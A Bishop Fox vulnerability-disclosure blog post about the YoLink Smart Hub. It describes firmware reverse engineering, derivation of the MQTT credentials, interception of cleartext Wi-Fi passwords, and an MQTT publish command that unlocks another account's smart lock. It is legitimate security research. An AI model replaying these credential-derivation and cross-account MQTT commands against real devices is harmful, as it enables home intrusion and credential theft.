
TL;DR: Bishop Fox research uncovered zero-day vulnerabilities in the YoLink Smart Hub (v0382), the gateway device that manages all YoLink locks, sensors, plugs, and other IoT products.
Key Findings:
Authorization bypass → attackers can remotely control other users’ devices.
Unencrypted traffic → Wi-Fi credentials and device IDs exposed in cleartext.
Session flaws → long-lived tokens allow ongoing unauthorized access.
Who's Affected:
Anyone using the YoLink Smart Hub v0382; because it’s the central hub, all connected YoLink devices are at risk.
What to do:
Treat the hub as untrusted: disconnect or segment it from critical networks, avoid using it for access control, and consider switching to vendors that publish independent security testing and provide regular patches.
Getting Started
Earlier this year, I felt a strong desire to pursue some new IoT security research. I was primarily motivated to increase my own embedded device hacking skills in addition to producing some material CVEs. Historically, IoT devices have been fruitful targets in pursuing CVEs largely due to the countless inexpensive, insecure IoT device companies that have materialized on platforms like Amazon and AliExpress. As the old adage goes, the “S” in “IoT” stands for security.
The following text documents my most recent research, which covered the YoLink smart hub produced by YoSmart. This research produced several CVEs, including a critical severity issue. The intent of this blog post is not just to explain our methodology but also to demonstrate that many of these vulnerabilities are often lurking just beneath the surface.
Why YoLink? Selecting the Research Target
The YoLink smart hub is an IoT gateway that facilitates communication between user’s mobile devices and their YoLink IoT devices. Because all communication to YoLink IoT devices must go through the YoLink smart hub, this represents a single point of failure, i.e., a potential vulnerability in the smart hub has the potential to affect all YoLink devices connected to that smart hub. This was part of the motivation behind selecting this device as a target for research.
Breaking Down the YoLink Smart Hub
The smart hub and mobile device I examined communicated over the MQTT protocol through the YoSmart cloud MQTT broker. When the smart hub received messages from the MQTT broker, it distributed the messages to end devices over the long-range LoRaWAN RF protocol. This was a somewhat unique feature of the YoLink smart hub as other IoT gateways commonly communicate over Zigbee or Z-Wave.

Figure 1 - A diagram detailing the flow of data between devices in the YoLink ecosystem
The attack surface for an IoT ecosystem above can be rich, involving many inputs and outputs. Documenting all of these inputs and outputs when conducting IoT research is crucial to ensuring full coverage.
Typically, when conducting IoT security research, I like to start with the mobile application. I typically start here for a few reasons:
- If present, Android APKs can be decompiled to Java and analyzed, giving us a sense of how we can interact with end devices.
- Network traffic can generally be intercepted and analyzed as we perform actions in the application.
- Mobile applications can often yield additional useful information such endpoints used to manage devices or distribute firmware updates.
However, in this case, I started with analyzing the YoLink smart hub device because the physical tear down of the device is always the most fun part.
Fortunately, the teardown of the device was quite simple. After I removed the printed circuit board (PCB) from its plastic casing with a screwdriver, I discovered an ESP32-WROOM-32 System-on-Chip (SoC). This is a powerful microcontroller used to build many modern IoT devices. As seen in my Traeger grill research, extracting device firmware from ESP32 SoCs is often straightforward. This is especially the case since ESP32 pinouts are well documented and firmware protections are often not enforced by device manufacturers.

Figure 2 - The printed circuit board (with an ESP-32-WROOM-32 System-on-Chip (SoC)) from the YoLink hub
In particular, the ESP32-WROOM-32 exposes Universal Asynchronous Receiver/Transmitter (UART) pins which, depending on the implementation, can sometimes be utilized to view the application logs or extract the firmware. In our case, the YoLink device hub circuit board exposed a debug interface with connections to the ESP32 for us to interact with the UART pins.

Figure 3 - Debug interface routed to UART pins on ESP32
To interface with the UART pins, I used my Flipper Zero which speaks UART (and many other useful protocols) to establish a serial connection to the end device from my laptop.

Figure 4 - Flipper Zero connected to YoLink hub
One neat feature of the Flipper Zero is that once a serial connection has been established, the number of bits sent over the wire as data is transmitted and received can be observed. In this case, the data transmitted by the ESP32 was bootloader and application-specific logs. Due to the limited storage capacity of flash chips, it’s common for embedded devices to transmit their logs to UART as an alternative.
From Debug Logs to MQTT Credentials
After establishing a UART connection via the Flipper Zero, I observed the output using picocom
:
waiting for download I (13) boot: ESP-IDF v4.4.6-dirty 2nd stage bootloader …omitted for brevity… I (4975) wifi:mode : sta (d8:8b:4c: [REDACTED]) …omitted for brevity… I (5265) Initial Config: Online Config URL [https://api.yolink.com/pf/d88b[REDACTED]/100B[REDACTED]] E (5275) STATE: Rx I (5285) Radio: In RX Mode. Waiting for RxDone Semaphore …omitted for brevity… I (16965) MQTT: mqtt://mq-yl-gw-lb.yolink.com:8001 I (16965) MQTT: SG-d88b[REDACTED] I (16965) MQTT: d88b[REDACTED] I (16965) MQTT: 055f[REDACTED] I (16975) MQTT: ylgw470 I (16975) Radio: RX Done Semaphore Hit. Going into idle I (16975) MQTT: Starting MQTT connection with uri in 2 seconds: mqtt://mq-yl-gw-lb.yolink.com:8001 …omitted for brevity…
Figure 5 – Application logs transmitted to UART
As demonstrated in the figure above, I saw ESP32 bootloader messages as well as application-specific messages. I immediately identified a few interesting things, including the device’s MAC address along with a REST API endpoint. Notably, the API endpoint appeared to stem from the device’s MAC address, followed by a MD5 hash. After visiting the endpoint, I was greeted with MQTT connection information which included credentials:
Request
GET /pf/d88b[REDACTED]/100B[REDACTED] HTTP/2 Host: api.yolink.com ...omitted for brevity...
Response
HTTP/2 200 OK Server: nginx/1.22.1 ...omitted for brevity... {"code":"000000","descrition":"success","data":{"lora":{"freq":910300000,"dr":3,"power":20},"firm":{"ver":"0107","url":"http://www.yolink.com/firmrepo/NotValidNow.bin"},"deviceId":"d88b[REDACTED]","ota":{"time":"01:00"},"svr":{"mqtt":{"url":"mqtt://mq-yl-gw-lb.yolink.com:8001","pwd":"055f[REDACTED]","tpkfix":"ylgw470"}}},"messageKey":null}
The response contained information which included LoRaWAN configuration data in addition to MQTT connection details. Notably, based on the connection details, the device hub also appeared to utilize unencrypted MQTT as opposed to the encrypted alternative MQTTS. This was later confirmed by a packet capture which resulted in one of our findings. The MQTT connection information also included client credentials that the device used to authenticate to the MQTT broker.
It seemed that each YoLink device hub called a device-specific YoLink API endpoint to retrieve unique MQTT credentials. The endpoint is constructed using the device’s MAC address followed by an MD5 hash value.
At this point, I was curious how this MD5 hash was generated. Since I didn’t observe any preceding API calls that retrieved the value during initial device boot, I deduced that this value was likely baked into or calculated by the firmware.
To confirm, I reviewed the decompiled firmware in Ghidra and found the following function:
…omitted for brevity… int FUN_400dc564(void) { …omitted for brevity… _DAT_3ffb3ea4 = FUN_4008a7ac(1,0,3); memset(auStack_e0,0,100); memset(auStack_7c,0,0x32); memset(auStack_4a,0,0x21); device_id = get_device_id(); FUN_4015ca00(auStack_7c,&s_%s_%s,device_id,&s_cf50[REDACTED]); FUN_400d8120(auStack_7c,auStack_4a); …omitted for brevity…
Figure 6 - Decompiled function used to create API secret
After reviewing the decompiled code, the function appeared to concatenate a key beginning with cf50 and the device ID and store the result it on the stack (auStack_7c). Next, the concatenated value was passed to FUN_400d8120 which eventually allocated a 128-bit buffer corresponding to the length of a standard MD5 hash. I quickly verified that the resulting MD5 hash was the value passed to the API by using the following command:
% echo -n "d88b[REDACTED]cf50[REDACTED]" | md5sum | awk '{print $1}' | tr '[:lower:]' '[:upper:]' 100B[REDACTED]
Figure 7 - md5sum command
With this information, I could now calculate the values needed to obtain MQTT credentials for any device as long as I could discover or guess that device’s MAC address.
As discussed above, the first value necessary in the device-specific URL was the device’s MAC address. In the case of my device, that began with 0xd88b. The first three bytes of a MAC address are the manufacturer’s Organizationally Unique Identifier (OUI). This value was followed by the two bytes 0x1603 for YoLink hubs I examined, versus 0x0100 in this position for YoLink locks. The final three bytes of the MAC address appeared to be sequentially generated. Therefore, an attacker that had discovered how the MD5 hash was calculated could theoretically iterate through all 16,777,216 possible values for the final three bytes of the MAC address and collect MQTT credentials for any valid device IDs in that list.
By obtaining the MQTT credentials for my own devices, I could disrupt active MQTT connections or intercept sensitive information such as Wi-Fi credentials:
% mqtt sub -h mq-yl-gw-lb.yolink.com -p 8001 -i "SG-d88b[REDACTED]" -u "d88b[REDACTED]" -pw "055f[REDACTED]" -t "ylgw470/d88b[REDACTED]/admin" …omitted for brevity… {"msgid":"1748621444805","ser":"1444805","deviceId":"d88b[REDACTED]","cmd":"s_wifi","ssid":"iot-testing-2","password":"INAmEA[REDACTED]"}
Figure 8 - Intercepting sensitive information using compromised MQTT credentials
As demonstrated in the figure above, I subscribed to my own device’s MQTT topic using an MQTT command-line client. After modifying the Wi-Fi settings in the YoLink application, I was able to successfully intercept my own Wi-Fi credentials. However, while I could subscribe to topics and intercept messages from the MQTT broker, the MQTT broker did not allow me to issue device control messages with the device MQTT credentials. Attempting to do so yielded access denied error messages.
Since I was interested in issues surrounding the ability to control end devices, my next step was to understand how the mobile application issued commands to end devices over MQTT. Fortunately, figuring this out was straightforward because just like the device, the mobile application also leveraged unencrypted communications. To demonstrate this, I performed a packet capture of my mobile device using Wireshark while issuing an unlock command to my smart lock, and observed the following ASCII text in the capture:
…omitted for brevity… #US-0A09[REDACTED].&ylap[REDACTED].$1d17[REDACTED] …omitted for brevity… /ys/d88b[REDACTED]/tx{"method":"MFLock.setState","params":{"state":{"lock":"locked"}},"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}} …omitted for brevity… /ys/d88b[REDACTED]/rx{"msgid":"1745938163506","ser":"8163506","deviceId":"d88b[REDACTED]","type":"hub","method":"StatusChange","data":{"online":false}} …omitted for brevity… /ys/d88b[REDACTED]/tx{"method":"MFLock.setState","params":{"state":{"lock":"unlocked"}},"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}} …omitted for brevity… /ys/d88b[REDACTED]/tx{"method":"MFLock.getState","params":null,"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}} …omitted for brevity… /ys/d88b[REDACTED]/tx{"method":"hub.getState","params":null,"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}} …omitted for brevity…
Figure 9 - Packet capture of mobile application traffic
As shown above, I successfully captured MQTT packets issued by the mobile application.
The first message in the figure contains the mobile application’s device ID (which begins with 0A09 in the figure above), username (which begins with ylap in the figure above), and password (which begins with 1d17 in the figure above) can be seen at the beginning, followed by control messages published to device-specific topics.
The username utilized in the MQTT connection corresponded to the family ID of the YoLink account holder. This identifier was used in the application to enable users to invite additional users to their YoLink household to control devices. The password corresponded to a temporary session token issued by the application upon login. Consider the following login request sent by the mobile application and the corresponding response:
Request
POST /user/login?_time=1748036466515&_locale=en_US HTTP/2 Host: us.yolink.com Ktt-Partner-Agent: YoLink User-Agent: Dart/3.2 (dart:io) Ktt-Device: 4443[REDACTED] Cookie: JSESSIONID=[REDACTED] …omitted for brevity… pushChannel=FCM&appVersion=1.40.41&platform=android&phoneModel=Android+SDK+built+for+arm64&username=ncerne&password=[REDACTED]
Response
Response HTTP/2 200 OK Server: nginx/1.22.1 Date: Fri, 30 May 2025 15:28:28 GMT …omitted for brevity… {"code":"000000","descrition":"success","data":{"userInfo":{"id":"c260[REDACTED]","username":"ncerne","token":"1d17[REDACTED]","family":{"id":"ee9b[REDACTED]", ...omitted for brevity...
In this case:
- The mobile application’s device ID begins with 4443
- The session token begins with 1d17
- The family ID begins with ee9b
Exploiting Missing Authorization Checks
After determining how the mobile application authenticated to the MQTT broker and issued device control messages, my next question was if the YoLink API implemented sufficient authorization controls to prevent cross-account attacks. To properly test this, I purchased a second YoLink smart hub to test the following attack scenario:

Figure 10 - Attack scenario to test cross-account attacks
As shown above, I created two accounts (ncerne and ncerne2) with the YoLink smart lock connected to the ncerne account. To identify whether authorization controls were properly implemented, I retrieved the MQTT authentication information for the ncerne2 account and attempted to issue a device unlock command for the smart lock residing in the ncerne account.
As mentioned and demonstrated by the prior packet capture, I needed to know the device ID of the smart lock to issue device control messages. This ID was used to construct the topic that the smart hub subscribed to for device control messages. As seen in the packet capture, the MQTT topic for messages to be sent to the smart lock in the ncerne account was /ys/d88b[REDACTED]/tx.
To identify whether authorization issues existed, I issued a request to the smart lock MQTT topic belonging to the ncerne account while authenticated to the ncerne2 account:
% mqtt pub -h mq-yl-appt.yolink.com -p 8001 -v \ -V 3 \ -i "US-4443[REDACTED]" \ -u "ylap[REDACTED]" \ -pw "f898[REDACTED]" \ -t "/ys/d88b[REDACTED]/tx" \ -m '{"method":"MFLock.setState","params":{"state":{"lock":"unlocked"}},"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}}' …omitted for brevity… Client 'US-4443[REDACTED]@mq-yl-appt.yolink.com' sending CONNECT …omitted for brevity… Client 'US-4443[REDACTED]@mq-yl-appt.yolink.com' received CONNACK …omitted for brevity… Client 'US-4443[REDACTED]@mq-yl-appt.yolink.com' sending PUBLISH ('{"method":"MFLock.setState","params":{"state":{"lock":"unlocked"}},"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"[REDACTED]"}}') Client 'US-4443[REDACTED]@mq-yl-appt.yolink.com' finish PUBLISH …omitted for brevity…
Figure 11 - MQTT CLI command used to test for authorization issues
The above output indicated that the command was successfully sent to the MQTT broker, and I observed the lock physically unlock.
This indicated that the API did not verify clients’ authorization, which enabled any user with valid MQTT credentials to issue device control messages to other users’ YoLink devices. Additionally, because YoLink device IDs appeared to be sequential instead of random, an attacker could potentially iterate through and issue commands to each manufactured device.
The Bigger Picture: IoT Security Risks
The implications and consequences of authorization-related vulnerabilities vary and depend on the type of device. YoLink produces a wide variety of smart devices which communicate through the device hub, including garage door openers, smart locks, water sensors, and smart plugs. An attacker that exploited the specific flaw discussed in this blog post could potentially obtain physical access to YoLink customers’ homes by opening their garages or unlocking their doors. Alternatively, the attacker could toggle the power state of devices connected to YoLink smart plugs, which could have a variety of impacts depending on the types of devices that were connected.
This finding highlights the growing prevalence of security issues affecting inexpensive IoT devices and the insufficient accountability displayed by many of the companies that produce them. Unfortunately, many consumers looking for smart home products do not understand the implications of connecting these devices to the internet. Authorization or other issues affecting devices can have real-world, kinetic consequences, and companies should display accountability for the security of user and device data.
If you’re ready to see how Bishop Fox can assist in testing the security of your IoT devices and products, visit our Product Security Review explainer.
Subscribe to our blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.